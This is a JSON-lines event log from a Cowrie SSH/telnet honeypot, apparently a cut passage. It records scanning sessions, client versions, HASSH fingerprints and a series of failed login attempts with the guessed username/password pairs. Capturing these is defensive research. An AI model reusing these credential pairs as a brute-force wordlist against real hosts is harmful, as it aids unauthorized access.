{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:37.319410Z","session":"a63e16cd0a03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:37.416690Z","src_ip":"87.251.64.176","session":"a63e16cd0a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:37.515929Z","src_ip":"87.251.64.176","session":"a63e16cd0a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:40.036915Z","src_ip":"122.168.114.167","session":"f419489e23b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":49788,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a281f15bf65","protocol":"ssh","message":"New connection: 148.216.28.11:49788 (159.203.135.109:22) [session: 1a281f15bf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:41.800271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:41.804696Z","src_ip":"148.216.28.11","session":"1a281f15bf65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:41.870715Z","src_ip":"148.216.28.11","session":"1a281f15bf65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz3edc","message":"login attempt [git/1qaz3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:42.159606Z","src_ip":"148.216.28.11","session":"1a281f15bf65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:43.226278Z","src_ip":"148.216.28.11","session":"1a281f15bf65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46468,"dst_ip":"159.203.135.109","dst_port":23,"session":"0efef15f13b8","protocol":"telnet","message":"New connection: 185.26.126.47:46468 (159.203.135.109:23) [session: 0efef15f13b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:43.529349Z"}
{"eventid":"cowrie.session.closed","duration":"34.1","message":"Connection lost after 34.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:46.952857Z","src_ip":"122.168.114.167","session":"f419489e23b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51156,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e3ecb48044a","protocol":"ssh","message":"New connection: 159.203.92.129:51156 (159.203.135.109:22) [session: 0e3ecb48044a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:47.373514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:47.378399Z","src_ip":"159.203.92.129","session":"0e3ecb48044a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:47.382854Z","src_ip":"159.203.92.129","session":"0e3ecb48044a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app-admin","password":"123","message":"login attempt [app-admin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:47.393611Z","src_ip":"159.203.92.129","session":"0e3ecb48044a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:48.400769Z","src_ip":"159.203.92.129","session":"0e3ecb48044a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34496,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6685238b17d","protocol":"ssh","message":"New connection: 122.168.114.167:34496 (159.203.135.109:22) [session: b6685238b17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:51.569025Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54950,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48a5498e973","protocol":"telnet","message":"New connection: 185.26.126.47:54950 (159.203.135.109:23) [session: b48a5498e973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:54.229029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:58.105732Z","src_ip":"122.168.114.167","session":"b6685238b17d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:32:58.109718Z","src_ip":"122.168.114.167","session":"b6685238b17d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":47968,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f6bebeac656","protocol":"ssh","message":"New connection: 103.228.69.212:47968 (159.203.135.109:22) [session: 9f6bebeac656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:07.866153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:07.870835Z","src_ip":"103.228.69.212","session":"9f6bebeac656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:08.106899Z","src_ip":"103.228.69.212","session":"9f6bebeac656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$w0rd","message":"login attempt [ubuntu/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:09.045138Z","src_ip":"103.228.69.212","session":"9f6bebeac656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:10.277182Z","src_ip":"103.228.69.212","session":"9f6bebeac656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":59240,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f2a7fba431","protocol":"ssh","message":"New connection: 2.203.183.35:59240 (159.203.135.109:22) [session: e0f2a7fba431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:11.252002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:11.259138Z","src_ip":"2.203.183.35","session":"e0f2a7fba431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:11.405019Z","src_ip":"2.203.183.35","session":"e0f2a7fba431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"apple123","message":"login attempt [admin/apple123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:11.924430Z","src_ip":"2.203.183.35","session":"e0f2a7fba431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:13.033239Z","src_ip":"2.203.183.35","session":"e0f2a7fba431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":47108,"dst_ip":"159.203.135.109","dst_port":22,"session":"17880bc7bd4c","protocol":"ssh","message":"New connection: 69.6.221.248:47108 (159.203.135.109:22) [session: 17880bc7bd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:15.119456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:15.124308Z","src_ip":"69.6.221.248","session":"17880bc7bd4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:15.237629Z","src_ip":"69.6.221.248","session":"17880bc7bd4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cs","password":"testing","message":"login attempt [cs/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:15.725088Z","src_ip":"69.6.221.248","session":"17880bc7bd4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:16.841525Z","src_ip":"69.6.221.248","session":"17880bc7bd4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":34798,"dst_ip":"10.17.0.5","dst_port":22,"session":"2402ba236f78","protocol":"ssh","message":"New connection: 210.79.142.221:34798 (10.17.0.5:22) [session: 2402ba236f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:23.745125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:23.749714Z","src_ip":"210.79.142.221","session":"2402ba236f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:23.994249Z","src_ip":"210.79.142.221","session":"2402ba236f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.54483199119568,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:24.074076Z","src_ip":"185.26.126.47","session":"0efef15f13b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:24.878399Z","src_ip":"122.168.114.167","session":"b6685238b17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"livetest","password":"livetest","message":"login attempt [livetest/livetest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:25.003407Z","src_ip":"210.79.142.221","session":"2402ba236f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:26.251555Z","src_ip":"210.79.142.221","session":"2402ba236f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":34334,"dst_ip":"159.203.135.109","dst_port":22,"session":"37863665040f","protocol":"ssh","message":"New connection: 148.216.28.11:34334 (159.203.135.109:22) [session: 37863665040f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:29.303729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:29.308072Z","src_ip":"148.216.28.11","session":"37863665040f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-